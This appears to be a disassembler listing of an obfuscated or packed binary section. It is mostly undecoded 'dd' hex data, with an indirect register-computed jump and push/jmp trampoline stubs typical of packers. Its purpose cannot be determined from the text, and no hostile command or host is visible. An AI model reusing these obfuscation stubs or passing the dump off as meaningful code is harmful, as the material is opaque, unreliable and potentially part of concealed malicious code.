0A9295259h, 0E7336AEBh dd 0A3C714FCh, 0EC306EEFh, 1DBC6CF5h, 1D8F9957h, 51B565BCh dd 8F534F12h, 817D646Bh, 1FCD2965h, 95BD13FFh, 0D3000000h dd 6E88584Fh, 0A5C10503h, 0F115C5DCh, 0CECB7990h, 0AAE7EC0Eh dd 507F54E1h, 51498E76h, 4071B5CAh, 57839AA1h, 0C51964Fh dd 4040B967h, 3D6271A1h, 164F04AFh, 51E1A92Ch, 546B76DAh dd 0BA213299h, 32930152h, 27AA30D4h, 0AE5825E9h, 3D263E8Ch dd 0A648A13h, 0E73F0000h, 0F12EA33Bh, 0B04B52Dh, 1B76DBC3h dd 2C6AEFF7h, 0DA44F2E8h, 6E7498F6h, 7D65B1EBh, 8218C0DCh dd 9208D8CFh, 60CC6725h, 18A92E6Ah, 514F339Dh, 6DA4158Dh dd 0FA1CC4DFh, 0AE2EB4F5h, 6E88584Fh, 0C6DC0C03h, 41858342h dd 4373F5Ah, 0BD5D0000h, 7167FC9Dh, 5E39C863h, 9233A92Eh dd 0CE36AD79h, 296EB6EFh, 5AD16141h, 9950AAF6h, 873AA1B2h dd 0AC3CAC42h, 7B5DC743h, 41978D23h, 155CDA0h, 0AC35ACEDh dd 0A13A3F21h, 33FF549Bh, 1D5C4D29h, 110DCCDCh, 3BA6ADC9h dd 0B06C7DBh, 0F25ED5C7h, 0B6916881h, 83B53EA5h, 44916881h dd 264ECC3Ah, 521BEDB7h, 379h, 84B3650Ah, 3B1CA13Fh, 0B0A13F85h dd 9F2FBD33h, 97930550h, 0B2395DB4h, 0A13FC18Eh, 0D8C8094Ah dd 3FC1ED53h, 33AEADA1h, 28E0A3AEh, 29DA19A9h, 263D75A3h dd 6F711C3Ah, 2A000009h, 19B826F2h, 0FC2D8FCh, 61D0CE16h dd 55E4E226h, 510F9737h, 61A5E3CFh, 16BED879h, 5CDC988h dd 35E53C9Dh, 0F97236ADh, 0A92E6B53h, 7E268217h, 841FC3DFh dd 0E832DE35h, 9D8328B8h, 5DA13F84h, 3BE18A1Eh, 0FFA13F85h dd 0FD4AE5FCh, 0A672F9EBh, 0CAA92E5Eh, 0AA8BB13Ah, 0BC379950h dd 9950AA90h, 92E10B48h, 0D4F201F7h, 2A9EC79h, 9950AB1Eh dd 485899DAh, 3F8459A3h, 861A59A1h, 9901CDC7h, 61D25212h dd 55559B91h, 4A928C4Dh, 0CD4A4120h, 61CFFA26h, 7CBDBE91h dd 0CCC7861Ah, 0A5229D04h, 6F0AA133h, 0E5994AE6h, 0F2E62664h dd 78B9D379h, 5D449789h, 3BDBA4B7h, 0C636135Eh, 8AC1DB8h dd 2F670000h, 3956FBE3h, 534C0D95h, 63BE138Bh, 749227BFh dd 929C4A50h, 0A63CE03Eh, 0B52DF913h, 0DAC00804h, 0EAF02077h dd 1804AF7Dh, 0D0A92E6Dh, 16537BC5h, 919B1080h, 91A92E5Eh dd 958F4E42h, 0A6E05149h, 1CA91C7Eh, 0A986168Ah, 0E5DC150Eh dd 0DB405B17h, 0A13FD44Dh, 0A4FC1E5Dh, 0C637744Bh, 0F5EC1B5Ch dd 99B0D5Ah, 4B632762h, 68A41599h, 0C69E63A0h, 913613F3h dd 830EE77h, 0B3EB0000h, 0BDDA7F67h, 0D7308119h, 0E722970Fh dd 0F816BB23h, 0E10CED4h, 3AA064A2h, 49517D97h, 5E448C88h dd 6E74A4FBh, 94B833F1h, 54A92E6Ch, 584FE741h, 70DDA484h dd 0EE2F4F91h, 6ADB148Ch, 0ADDC5Fh, 0D2C98813h, 0B982EB0Ah dd 0A306BD44h, 763A068h, 51B561BAh, 0A9CD1570h, 9F0DF90Bh dd 3A395D81h, 887EA0F5h, 0B52DFD14h, 1695FA1Ah, 0CEC8890Ch dd 0BDE22A64h, 0E68F1A59h, 181h, 801653BEh, 982A9B10h dd 99F8A928h, 0FF1B587Ch, 567090B8h, 0DBFB1999h, 49FCBCBFh dd 76FBF668h, 76903853h, 0C0FAEC22h, 2B679FA3h, 140059CBh dd 14CBFh, 584FD100h, 0C036E88h, 4763CCDCh, 547BFB23h dd 0DE62F8E3h, 0EB5D5711h, 0E7E2AA5Ch, 0FBE9FF44h, 64B0EA6Bh dd 0A6E9F47Dh, 1063A928h, 0E13B9AF6h, 577B9635h, 0C950C33h dd 9956761Ch, 0E733D3EFh, 13FFC38Fh, 39FBh, 16539D00h dd 0F69B1080h, 34A9289Eh, 64D4C327h, 6599566Ah, 3F82E428h dd 0C4DC3EE6h, 566B012Fh, 61BAB999h, 0D031C93Dh, 0DC0801C0h dd 71BD29C5h, 13FFD225h, 0A155h, 584F0B00h, 8B533984h dd 6A4916F1h, 4380EA2Eh, 7B99F802h, 32B9495Bh, 0A13FFB0Eh dd 6EAEEBCAh, 7D44B229h, 577F9826h, 3D9CF416h, 94DB3FDFh dd 8B574E0Dh, 12E8D619h, 73325Ch, 39EDF07h, 7173E08Fh dd 958CA140h, 63E05D45h, 9FD45F4Dh, 0E9A92C0Dh, 3957F6EAh dd 4E4C0D95h, 0B571F58Eh, 0D6F0263Eh, 6954Fh, 0C8187000h dd 0E2227FD2h, 903C55E4h, 844C470Ah, 0B95DBB1Eh, 0C5A98B21h dd 3A9F07C7h, 2BAE34E0h, 1EB32BEFh, 14C3DB07h, 6F311F94h dd 0ACE9A92Eh, 8D514F00h, 0BD6DA415h, 0EE7E9125h, 3F84D745h dd 594093A1h, 1377A3FAh, 138B574Eh, 0C083A08Fh, 51A3B335h dd 1E539034h, 2299302Bh, 72059CEBh, 55h, 0B370BD16h, 0BB30A036h dd 0A92E5E6Bh, 0CD92787Bh, 215592AFh, 97DC3EEAh, 0AAC26E05h dd 75869950h, 8414A434h, 50AA41EFh, 0EFFAF999h, 3F83AD7Ah dd 0DB6CC3A1h, 0DCCA1573h, 36A76D74h, 8AD733DFh, 0C7044591h dd 82AE45D5h, 46916201h, 31E4AE35h, 27h, 80165357h, 0A0EA9B10h dd 3B38A928h, 586FD8DFh, 0B1A39956h, 188EDB55h, 9572E388h dd 0B3C0A13Fh, 95622Bh, 7E060000h, 9D94C9B1h, 6E7522CDh dd 706076F3h, 2EE029FBh, 0DD3A39A9h, 0C638F00Ch, 10829220h dd 64F61405h, 0AE000000h, 336FEE7Eh, 4F448BEFh, 0A13F84E1h dd 1C775A99h, 0F572EDF4h, 38428681h, 56E6FA3Bh, 84FF2DC6h dd 0DABBA13Fh, 0F6FD19BDh, 70812AB1h, 82A92E5Eh, 0B7D3F713h dd 0BD224B88h, 0D1356B3Fh, 5923145h, 1D5914h, 537F0000h dd 9B108016h, 0A92E5E8Bh, 0B233589Bh, 0C2245A4Eh, 58E2074h dd 0D4814h, 650C0000h, 0A13FA088h, 0FF47EE89h, 5382FFFFh dd 0DF108016h, 0F236A784h, 4C476AD0h, 0E48F1D84h, 0A92ED1E0h dd 38990B48h, 9ED135DDh, 5FF4B49h, 5D7CBD92h, 757A9C40h dd 59F8A86Eh, 4E35993Dh, 0A4403AF9h, 0C5DC0367h, 6FA9DD6Ah dd 0F97266A7h, 0A13F7E2Ah, 0EADB3F3Ch, 0D2594B5Dh, 9950A41Ah dd 0D7677586h, 0F080AC47h, 3B388972h, 0D0F411A0h, 0D8CE1BCAh dd 0CAD923C8h, 20A19161h, 9E3E5CE6h, 0AB36777Ch, 0C3821665h dd 0E02461C7h, 82185986h, 0AAC268E5h, 1BBA19h, 1B72C1D8h dd 237CDDCFh, 0E76AE0FBh, 94B833B0h, 54E95D6Bh, 0C1A4C607h dd 0EE7E1284h, 0F1E8386Fh, 46881968h, 0CE282BF1h, 763A7E3h dd 52B460BAh, 0BA54B2CCh, 4EDE0876h, 0BE138B57h, 755CBE62h dd 65E4F418h, 5B98E22Eh, 2CE2B640h dd 0E22662BAh, 0ACE564E4h, 0BEDA7960h, 21A0F01Ah, 849E3DE5h dd 0FA004158h, 65814543h, 0BBDFFF1Ch, 76887EA0h, 0C4588E70h dd 5F9000C8h, 9E396E8Dh, 7B264CBDh, 6D16357Eh, 68ACE9C8h dd 535DF971h, 1D648618h, 12B0DA06h, 2FBAF610h, 799021B9h dd 5EA340A9h, 0B5E71F23h, 0F5E4B25Eh, 65127498h, 0A13F84B7h dd 89E44B5Bh, 96B1DB47h, 0CC70FBE9h, 8CA1406Dh, 4CBA544Fh dd 8B13B3D0h, 913D56F7h, 8B4F4B0Ah, 0C327D619h, 63B2A395h dd 43029E78h, 62A6E147h, 0DEFEF03Dh, 6B8CF972h, 7042EB70h dd 0C135A140h, 779BF725h, 90A1C06Fh, 0C7F8A140h, 0C15E9B0h dd 0FFFF86D8h, 0EE7EFCFFh, 3F84D745h, 594093A1h, 6F77A3FAh dd 0E67B3EAh, 4FA474ABh, 0E636D062h, 0D07163AFh, 0C8F713B3h dd 0BED6A9D1h, 0AA0C16B8h, 3Fh, 801653E2h, 5E8C9B10h, 599AA92Eh dd 1F4EB330h, 28BDFBEBh, 7A8922B6h, 8CA13F84h, 8424F42Dh dd 34085056h, 0AA415390h, 91621986h, 1AF03142h, 0BCD3A986h dd 88D03A67h, 4D6611h, 531A0000h, 80108016h, 6A2B4AFh dd 5C47F1C5h, 2E6E40D7h, 970556A9h, 0BAC06C07h, 7B789950h dd 60CA9B60h, 68C7D5h, 2DFC5454h, 113FB424h, 0C9995112h dd 7FF1F8Ah, 36AA3C89h, 3FEB66BDh, 70170A1h, 77B4BBDFh dd 514A0B9Fh, 4FBA1E85h, 36E8858h, 6FC6DC0Ch, 5FD4C4DAh dd 0A9289D92h, 2D139808h, 0ED99566Dh, 0AD2CBEEh, 1876D7C5h dd 36AD92F4h, 6C61CBC0h, 182A9956h, 0D0CE8FEEh, 0FEE5EA0Ch dd 0FFCC3541h, 0B932C213h, 99566493h, 70DC5757h, 28995664h dd 96FFEA2Bh, 40h, 801653CEh, 9EF69B10h, 8D4CA928h, 0A8504B93h dd 0E0484FABh, 0AB99566Ah, 4D0C6F97h, 676C8E52h, 0D2B3C37Ch dd 0B04013FFh, 0A4BB2A7Fh, 28B9E35h, 9955BE1Eh, 7B9FFBDAh dd 0EBC6AF3Ah, 9E000000h, 0C884584Fh, 2F0B5495h, 0B31E78B9h dd 6DB9D355h, 6185CA09h, 0BDD90900h, 70710AE5h, 3929F9CFh dd 2CFC13A2h, 51CA29B6h, 5EB5A140h, 66BF1EB2h, 8C175CBEh dd 9C4C43F6h, 28BE0B7Ah, 0D5FD19B8h, 78B53ECEh, 52A92968h dd 9F249901h, 240B9B09h, 7888233Ch, 50D9C051h, 0A1434F1Dh dd 50FC7707h, 8916B9Eh, 2728D0CBh, 0BEDA262Ah, 70C9D91Ah dd 21A03071h, 21B123E3h, 6C17A68Ah, 0B54591h, 7B3EC301h dd 43C7C211h, 468570BFh, 7972C9D7h, 11B5D362h, 6B8C46Ch dd 0EC89972Eh, 1AAh, 0E5FD2D65h, 0F973754h, 1D85514Ah dd 21B961BCh, 34527290h, 0DA38949Eh, 0F32DAC3Ah, 21EB32Bh dd 1A71C0DEh, 0A97BD0CEh, 2E741E02h, 7DDFDAA9h, 0D281514Fh dd 2265808Bh, 71A1F8DBh, 0F1E92E15h, 0B994940h, 12894D4Ah dd 0DF7E3C98h, 0F1FE18C8h, 9EF277EAh, 891B5884h, 0B1E869F9h dd 84C46861h, 7784A13Fh, 9E9AC76Ch, 0E1D0A928h, 0D93D62A6h dd 56696AD2h, 0E5013D99h, 0FFD34DA9h, 0BD3D13h, 88670000h dd 0C61F3F8Dh, 0D8041E8Ah, 6970B1BEh, 88584FEFh, 0C105036Eh dd 8911F6A5h, 170EA13Fh, 0A249D9CBh, 0A13F7F7Eh, 0A9CD1973h dd 960D4EAAh, 0BA66BD1Ch, 0C6D86D50h, 0F01873D2h, 9CDCB96h dd 33A1E6EDh, 3F7F94B8h, 9C0754A1h, 0A0AA670Ch, 7380A928h dd 7B6DFA6Bh, 3330C269h, 0F4CA142h, 3EDE3C9Dh, 0AB911AAAh dd 6F916A89h, 5CFD756Ch, 35E59E3Eh, 142E016Eh, 0AC630Ah dd 2F670000h, 3956FBE3h, 534C0D95h, 63BE138Bh, 749227BFh dd 929C4A50h, 0A63CE03Eh, 0B52DF913h, 0DAC00804h, 0EAF02077h dd 1804AF7Dh, 0D0A92E75h, 514F7BC5h, 6DA4158Dh, 84D745EEh dd 4093A13Fh, 4F339B03h, 0B9188858h, 0EA2CB75Fh, 5A409087h dd 6A70A0F7h, 0F41C77D6h, 0B8376EEDh, 3F850D33h, 498ECDA1h dd 0E5036E2Dh, 0B1B3BD41h, 0D0C755h, 0FD76069Ah, 853D244Fh dd 62D1C80Bh, 79BFF2Bh, 0ACE74946h, 89842764h, 0A0FB5A41h dd 61BBFD1Ah, 2D1251B5h, 0EC278AC9h, 5F83E724h, 4057C521h dd 50470A90h, 3DF6680h, 0FD000000h, 574F2E8Ah, 0B026F8Bh dd 0BAD6BBDFh, 73ADF416h, 24624FABh, 0DD3B86E0h, 99F4DD39h dd 534C1571h, 5026F8Bh, 57B7A5C1h, 0C781E789h, 4, 4EF81h dd 3C870000h, 0C895C24h, 0E1895124h, 4C181h, 0E9830000h dd 240C8704h, 243C895Ch, 35D968h, 24148900h, 0DBC7BE56h dd 0F78907EEh, 8324348Bh, 8B5404C4h, 0C4832414h, 17D86804h dd 3C890000h, 8428F24h, 5A2434FFh, 4C481h, 3C8B0000h, 0E0895024h dd 405h, 40500h, 4870000h, 0A1E95C24h, 18FFFB61h, 99A94EEFh db 74h, 0F0h ; --------------------------------------------------------------------------- loc_5E2F2E: ; CODE XREF: sdfs____:loc_5E18E6j mov eax, 7EEF0F9h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 4 dd 11517959h, 0AC5824D4h, 47250160h, 352C04FAh, 0E324189Bh dd 0E174CC5Bh, 0E22398E3h, 0A23A94DEh, 0BE48473Dh, 5375A061h dd 6831C1E0h, 763853Ah, 1828C176h, 2A4530F6h, 5A1B7AABh dd 210D132Dh, 53D826h, 9D26BAFCh, 5E5B17A4h, 0D11CBAAEh dd 0B9380642h, 10516DB5h, 7B70E1D4h, 50A5212h, 0E90580CFh dd 0Ah, 452F3BB1h, 0 dd 0FEE90000h, 6800000Bh, 7EEF3ABh, 0FB610FE9h, 0F4A468FFh dd 5E907EEh, 68FFFB61h, 7EEF65Fh, 0FB60FBE9h, 0F76168FFh dd 0F1E907EEh, 68FFFB60h, 7EEF9E9h, 0FB60E7E9h, 0FB2F68FFh dd 0DDE907EEh, 68FFFB60h, 7EEFC5Fh, 0FB60D3E9h, 0CC1C74FFh dd 0E62663D6h, 944059F8h, 88504B0Eh, 0BD61BF12h, 0C9A58F25h dd 3E930BCBh, 2FA238E4h, 2B72FF3h, 68C7DF0Bh, 772D1398h dd 0A8EDA92Eh, 5A7E9938h, 584FF54Fh, 0C036E88h, 6A63CCDCh dd 9E90DCE8h, 0C174D853h, 2734A13Fh, 0E367FBE6h, 0ECFC2862h dd 3FC1D947h, 474291A1h, 5B495FE4h, 0D3F43BCBh, 0AADD1DA0h dd 0CFE04C45h, 0B4D1A13Fh, 0A3C9F610h, 0F233D732h, 0E87F42D7h dd 0AA85A928h, 97B5D927h, 0AC544FCBh, 5DF23DAFh, 9B828BA7h dd 1D758118h, 0C03AE68Dh, 0FDFE9956h, 0FD19C5DEh, 0D646EBF6h dd 919956BFh, 0D93D796Dh, 8113FF79h, 20h, 801653C7h, 9EF69B10h dd 2734A928h, 6A64D4C3h, 1B279956h, 0D247AFEBh, 0DE3313FFh dd 55000000h, 1EC6DF7Eh, 0DDD3483h, 0FF18B9E9h, 4D9DF4D7h dd 65A9E756h, 0B969A001h, 0CD1D745Dh, 97F455D5h, 7D363A77h dd 3BA8A9A2h, 0D1F63BA0h, 66BDA13Fh, 0F416BED8h, 6FAFECCFh dd 1F87C40Bh, 4D0CA8Bh, 37E73E9Dh, 8C329480h, 0FA434B9h dd 0A13FA321h, 31559AD9h, 79A9E061h, 10CBD61Dh, 0ECFDDD3h dd 0AAA9CD11h, 0B3AB13Fh, 0D9A928B5h, 0CC29069Ah, 0D87C927Dh dd 0A1261B28h, 3B8FA56Ch, 2EBB2AA0h, 678328B8h, 97A1428Bh dd 97F55444h, 0ACEA6F77h, 269F9768h, 0C4E22E01h, 9AC39h dd 7CACE400h, 16B6D366h, 4D0C988h, 38E03B9Eh, 2DF12FA2h dd 0B9151FB5h, 0AE23BB5Bh, 9F32A874h, 0F2475F83h, 0F8574F9Bh dd 779D8328h, 585DA92Eh, 0C1DF7EFCh, 0EFFAF91Dh, 0F4923250h dd 4824E45h, 0D31653B0h, 3F84F458h, 7CA0FDA1h, 0BCBFD51Ah dd 9BC66D7Fh, 0D1A9289Eh, 98287882h, 566A2D13h, 0F3EEED99h dd 5669BE6Eh, 5D1CB99h, 598980E1h, 6E0223Dh, 7B6B97F4h dd 0FFD3D73Fh, 0BA8313h, 4FC50000h, 0B9188858h, 7051B55Dh dd 1289CE16h, 5F7F9DE4h, 89B17C3Bh, 0ABE2A13Fh, 0BBD2677Fh dd 46ED7D6Fh, 0A13F7FDAh, 277E5D9Eh, 5716E0FBh, 670C9C12h dd 0A92891AEh, 0DB6F7784h, 0EDF4207Ah, 61EFF572h, 56769308h dd 87C20F34h, 0C8D81965h, 421DB623h, 0C0DD7CA1h, 9AFC207Eh dd 878D1455h, 75D46474h, 6AE9F01Ch, 5FF2E82Ch, 0C4E09D41h dd 572E0082h, 8B3AC49h, 0B3EB0000h, 0BDDA7F67h, 0D7308119h dd 0E722970Fh, 0F816BB23h, 0E10CED4h, 3AA064A2h, 49517D97h dd 5E448C88h, 6E74A4FBh, 94B833F1h, 54A92E78h, 514FE741h dd 180FB1EFh, 5C4A8BC8h, 0FD18A6FDh, 4E0E94D5h, 6E88584Fh dd 0C6DC0C03h, 0D4C4DA6Fh, 0CB1FEB44h, 0B9D601A3h, 0CAC8B922h dd 0D51AA928h, 0F84DE0C1h, 0DA63A7Ah, 99571F1Fh, 3F5B98DBh dd 0F7EF3B52h, 0D9F4B42h, 0ABE9534Ch, 83C00F6Bh, 40597867h dd 82090D94h, 2CDB41C4h, 0CE5E88BAh, 3E930BD7h, 0D8DF3BE7h dd 5D2FB71h, 0B0EC1A0Ch, 8B1B8959h, 0D2FC3CE0h, 0E4FFFC05h dd 64B4EB6Eh, 0FB9E9502h, 0E82105D2h, 0D3510130h, 744E5F6h dd 3C829EE3h, 92F435E5h, 4B650AEh, 0AA2447Eh, 7ADFC713h dd 0FF93F723h, 198445Eh, 158719AEh, 0BBD83B9Eh, 0DF38990Dh dd 1764AC37h, 405AFB8Fh, 564D7294h, 68786EFBh, 7DA348D8h dd 74FDE9B4h, 589BF119h, 82921017h, 0D4CFEB75h, 0D2EA464Fh dd 0DB3F3C05h, 0B36DDCh, 836C3CF6h, 0D3CFF12Dh, 19F3C20Fh dd 4EB8564Dh, 0EE326EEFh, 27E7258Ch, 3242FBE6h, 0C1B754FCh dd 0B9DD0500h, 4B462FBAh, 2A000004h, 30AB6FABh, 8985BD84h dd 0F4E060A6h, 5940D500h, 5D4F61E6h, 6F7AA2FCh, 0E13B4AE1h dd 0A49A928h, 4B470696h, 777C6387h, 995694C9h, 23577281h dd 26664D64h, 0A335B276h, 0DC07BA31h, 96E5C46Fh, 22B43174h dd 0E3CF05AEh, 0E263BC86h, 0DE0561A5h, 76AAC895h, 0C1D84060h dd 29A8383Bh, 814944F2h, 67B49813h, 6774ACB4h, 219B826h dd 91292DD6h, 9EB8D55Eh, 6F8F7h, 28F81000h, 0C2021FB2h dd 0F01C75C4h, 0E42C67EAh, 993D5BFEh, 0E5C9AB01h, 0DA7F67A7h dd 0CB8E14C0h, 3E930BCFh, 34A33BE7h, 7A51FF74h, 8C09A92Eh dd 88584F20h, 0C20A036Eh, 8C8544C4h, 47BEF54Ch, 0A1E66B58h dd 0E95F3Ah, 537D0000h, 7E0E821Ch, 0FA1CC4DFh, 8450FCF5h dd 0CB08A13Fh, 0ACBA2BD0h, 0B6FB7D1h, 43A76BA6h, 0F505E11Fh dd 0D897DA3h, 0C16B4E9h, 5691h, 1C533700h, 0B4650E82h dd 7EA13F84h, 0C889197Dh, 0FCE307CFh, 933F56E5h, 82424001h dd 0EC367B78h, 7B8C501Ch, 0BC1D950Ch, 0C5BAB965h, 0E9DA3528h dd 0C00F6BABh, 45384283h, 71FAEE00h, 0A928D83Ch, 9AB9DD1Eh dd 0E4307E68h, 9413FF8Dh, 7, 0F48BC8h, 53290000h, 0F458D316h dd 0B4A13F84h, 0E27266A7h, 0D7515B0Dh, 71019B95h, 0B3A4E99Fh dd 923A5384h, 9F0A4B88h, 298BBB0Ah, 790A49A9h, 263DB05Bh dd 0F639C4E2h, 2E000005h, 1DBC2AF6h, 73C6DC00h, 65D4F21Ah dd 59F8E62Ah, 55039B3Bh, 65A9E7CBh, 1AC2DC7Dh, 9D1CD8Ch dd 39E92091h, 0FD760AA1h, 0A92E7B4Fh, 53228E0Bh, 0F475821Ch dd 7393951Fh, 16B8CF27h, 5EBB0Ch, 53DD0000h, 4F0E821Ch dd 366A8C54h, 3F848FBDh, 0CB084BA1h, 0DFBA2BD0h, 67B35355h dd 0C16B80Fh, 3B7Bh, 1C531D00h, 6E62A2E0h, 3F8457C5h, 83C013A1h dd 0C9F9366Ah, 8F057D24h, 0D56526BDh, 0C02AEA28h, 1C7EAAE1h dd 7892746Eh, 0BA0CFA2Ch, 0A13FB499h, 9434437Ch, 0A8240C16h dd 78FFFFFEh, 75821C53h, 200CA737h, 0D8A13F85h, 0FB43009Bh dd 199571B7h, 0C16B7FDh, 2116Dh, 514F2300h, 60BE1F8Dh dd 0F0D125BCh, 8B294D95h, 11F8D79h, 1674C5DDh, 94D194F6h dd 5FFE8E02h, 9F049F43h, 0A928B60Eh, 25A836Ch, 55BDCF0Ch dd 0E9B9C64Eh, 0E1FC5D0Dh, 52F3E126h, 0FF79236h, 0D349BDC3h dd 0C88911B5h, 0ABE00ACAh, 9955C681h, 0B8D627Eh, 0E50687C6h dd 0FDE9059Ch, 35AD71AFh, 52468684h, 3E7397F3h, 0DAD57467h dd 0B95D44DBh, 749659E9h, 32F238FAh, 17BF6D6Ah, 787B9956h dd 6779CE61h, 202BFE75h, 2E31A13Fh, 16139F5Dh, 7F67A41Eh dd 6CD05BEBh, 2C916D82h, 0CC19B42Fh, 50BA5AB8h, 8285AB40h dd 3645916Dh, 8B20B0F1h, 9956942Eh, 546F93DCh, 458E524Dh dd 0D310D38Eh, 207ADBB7h, 36AD92F4h, 84377FADh, 0E4020489h dd 0B990F54h, 0BDF33324h, 0A4FDA427h, 20A03B78h, 6D5B2E8Bh dd 0A2FDDC91h, 0C5D71C7Eh, 9B38022Eh, 74B5C681h, 8115DA6Eh dd 23820D17h, 0DF36851Ch, 938AD733h, 0C426EA25h, 0ED405E9Fh dd 0B29E1558h, 76819B06h, 24B42465h, 9B06A18Fh, 683E7E81h dd 2FA8B5B2h, 0F613B6C5h, 148FB4D6h, 0E5D21F94h, 0B488983h dd 0B480A8EFh, 374B79B1h, 843343CFh, 422733A4h, 79000000h dd 10801653h, 3851F080h, 8539E7ECh, 0E2F1A13Fh, 9F0F72E7h dd 9435A928h, 26955E7Ah, 72B0AC0Bh, 10E6E90Dh, 65ACA43Ch dd 24ECF734h, 54C4B3D7h, 17995609h, 57BFFBEBh, 3140033h dd 7Ch, 88584F45h, 0C105036Eh, 15C5DCA5h, 0A97990F1h, 8967AA31h dd 0BC1DA13Fh, 0FC19B860h, 2AB1BED8h, 3EA474ABh, 3CAC4287h dd 2B54C0B7h, 0D7C516A9h, 0EEF41876h, 14E92D6Bh, 263E54C6h dd 6ED27B85h, 0A6000003h, 9524A26Eh dd 8B4E5478h, 0FD5C4A92h, 0D1607EA2h, 0DD8B13B3h, 0FD217F53h dd 923A54E5h, 814945F4h, 0B161B819h, 45EEB229h, 0A92E7DD7h dd 4FBA0693h, 0A4158D51h, 9125BD6Dh, 6E88584Fh, 0CCDC0C03h dd 0D5CC100Dh, 584FF95Dh, 0C036E88h, 9D3CCCDCh, 0EC505981h dd 0ACA13F84h, 6E9262AFh, 4E39CEDEh, 0E166DF53h, 8C4DDDCFh dd 0CA5F4A92h, 0A9297B07h, 0F9435CFDh, 0D01F7B9Bh, 51487793h dd 494EA8ABh, 995749DFh, 227096A8h, 13FEEFD2h, 7FA7E061h dd 3F0364h, 53450000h, 80108016h, 0FC1ECAC1h, 1A47ECF7h dd 50A9289Fh, 88B0E703h, 199566Ah, 0DAA7C303h, 0F71F78BEh dd 0CA0454B6h, 619DE21Ch, 0D2ED0985h, 0B57A13FFh, 81FAA34Ch dd 0FFA8339Fh, 0B6h, 88584F91h, 0A305036Eh, 1B58A26Ah dd 0BAD1B0DAh, 6EA50C6Eh, 267FC5C0h, 16579CFEh, 702C3D1h dd 0BE42D8C3h, 0DE418871h, 91082C90h, 40150508h, 8B574EA1h dd 74FF8F13h, 0A1400BC8h, 0E9687380h, 0A10466B2h, 951EB224h dd 0A9292C98h, 0C1050372h, 1EAB1A80h, 0DE931888h, 3CA142C2h dd 0EE2CAD3Fh, 301B02Eh, 0FC3E3EC3h, 0AFC92E01h, 22806h dd 0F8286000h, 92326FE2h, 804C45F4h, 0B45CB71Ah, 0A96DAB2Eh dd 35999B31h, 2AAF37D7h, 1BBE24F0h, 0EC3DBFFh, 64D3CB17h dd 80210FA4h, 0DCD9A92Eh, 0C3DF7E70h, 0EDF4FB1Fh, 0F6EC306Eh dd 0A2FE4C43h, 96D71C7Eh, 0DF7E4C08h, 248702C2h, 109B099Fh dd 0A9289F6Dh, 4D4AACAFh, 99566ADBh, 96DB1EEh, 4FAB6BA8h dd 0DAF41214h, 0D15D89B5h, 13FFD2C5h, 106B5h, 0B17EEB00h dd 2FEAD154h, 0AB2AB162h, 0A434A474h, 4047210Fh, 9FF8D9A1h dd 0EF2C1377h, 0CF8E02F4h, 0BF0602D6h, 84D11C92h, 9FFD5C47h dd 919C1B7Fh, 0C2A13FFBh, 0CC8D1FCBh, 0E7EC0ECEh, 0BCD366FCh dd 6960A6Ch, 0F2056C29h, 820BDFD9h, 0A13FC09Eh, 0C6D2FA13h dd 36B32EB5h, 7237E6ACh, 9219151Ah, 0A1403AAEh, 0EB28696Ah dd 378669F9h, 0CCB685A9h, 8DE92D6Ah, 119A0146h, 0A929121Ch dd 58889FFEh, 5442EA17h, 8ACB2655h, 3FED8616h, 0FB99570Bh dd 0F469E1F8h, 9B812A6Fh, 5F99570Ah, 0BAFB277Eh, 32CC6775h dd 4AA142DFh, 0DC3A9B09h, 0F12FA238h, 0C306502Dh, 0CBD52E01h dd 0F822h, 28F81000h, 0C2021FB2h, 0F01C75C4h, 0E42C67EAh dd 993D5BFEh, 0E5C9AB01h, 0DA7F67A7h, 0CB8E14C0h, 3E930BCFh dd 34A33BE7h, 8051FF74h, 8C09A92Eh, 8D514F20h, 0BD6DA415h dd 5496C02Fh, 0BFB343CAh, 145BBF63h, 7797F4D7h, 4F66D66Ch dd 36E8858h, 6FC6DC0Ch, 0A76BA6DAh, 0CDDF1C43h, 59819C3Dh dd 6AB363Dh, 0A92E76FCh, 0CD73F888h, 8D995092h, 0CD29F12Ch dd 0B25A4186h, 0BD4D45A1h, 50930A36h, 168DCE99h, 3AA070A7h dd 36508097h, 799DFB5Ah, 26CBD61Dh, 0DC1258E3h, 57C52143h dd 41009040h, 757A9C48h, 2E65D46Eh, 0DE3998E2h, 0EA27A63Ah dd 4589872Ah, 5FA72221h, 97F31772h, 0E105D1CAh, 1CC4DFE2h dd 557997FAh, 5A743231h, 0D02E12ACh, 63AFE636h, 6DB5D071h dd 0DC6CFC76h, 8ECCE957h, 3752A156h, 53419188h, 87F7159Ch dd 0B8232563h, 3B75Eh, 8AD50000h, 8B574F2Eh, 0DF0B026Fh dd 16BAD6BBh, 0AB73ADF4h, 0E024624Fh, 39DD3B86h, 7199F4DDh dd 8B534C15h, 0C105026Fh, 8957B7A5h, 4C781E7h, 83000000h dd 3C8704EFh, 24248B24h, 81E28952h, 4C2h, 4EA8300h, 5C241487h dd 68241489h, 58DCh, 0BA240C89h, 1924305Dh, 3E22BE56h dd 0F2291135h, 0C8B545Eh, 4C48324h, 242C8152h, 340F42B7h dd 8108418Fh, 42B70841h, 0C8B340Fh, 0E1895124h, 4C181h dd 0C1830000h, 240C8704h, 2434FF5Ch, 4C4835Ah, 0FB551FE9h dd 5CD9A6FFh, 0FD7CB80Eh, 0C50307EEh, 6F39E0FFh, 91D50F35h dd 7BE328A3h, 43416D6Eh, 5C700Bh, 5B96481Fh, 4F747941h dd 42573A32h, 59873D62h, 0F19F1380h, 12A42B53h, 5DF8150Fh dd 17364B5Ah, 9E855264h, 3AB058Bh, 0B5EF0F29h, 5DFB1D3Ch dd 24833C3h, 2137652h, 0C7554A19h, 2C3433FFh, 20754B64h dd 631B116Dh, 0BD174C95h, 3EE923D9h, 7B000000h, 4C745Bh dd 57000000h, 434AC51Ch, 0F9366148h, 88A7A5ADh, 0FB75528Ch dd 9CBE00B7h, 7EE5ADF9h, 9D8993h, 921DF4C7h, 0DE196063h dd 4 dup(0) dd 0A66E900h, 0CD680000h, 0E907EEFFh, 0FFFA7D16h, 0EF00F368h dd 7D0CE907h, 0B768FFFAh, 0E907EF01h, 0FFFA7D02h, 0EF026268h dd 7CF8E907h, 2868FFFAh, 0E907EF03h, 0FFFA7CEEh, 0EF044668h dd 7CE4E907h, 0FD68FFFAh, 0E907EF04h, 0FFFA7CDAh, 0EF06D968h dd 7CD0E907h, 0B368FFFAh, 0E907EF07h, 0FFFA7CC6h, 58D5A7B4h dd 932258FCh, 0C06D0F21h, 37BE3C54h, 69047085h, 0B75A36F3h dd 958C28C5h, 1D329E17h, 0D466D263h, 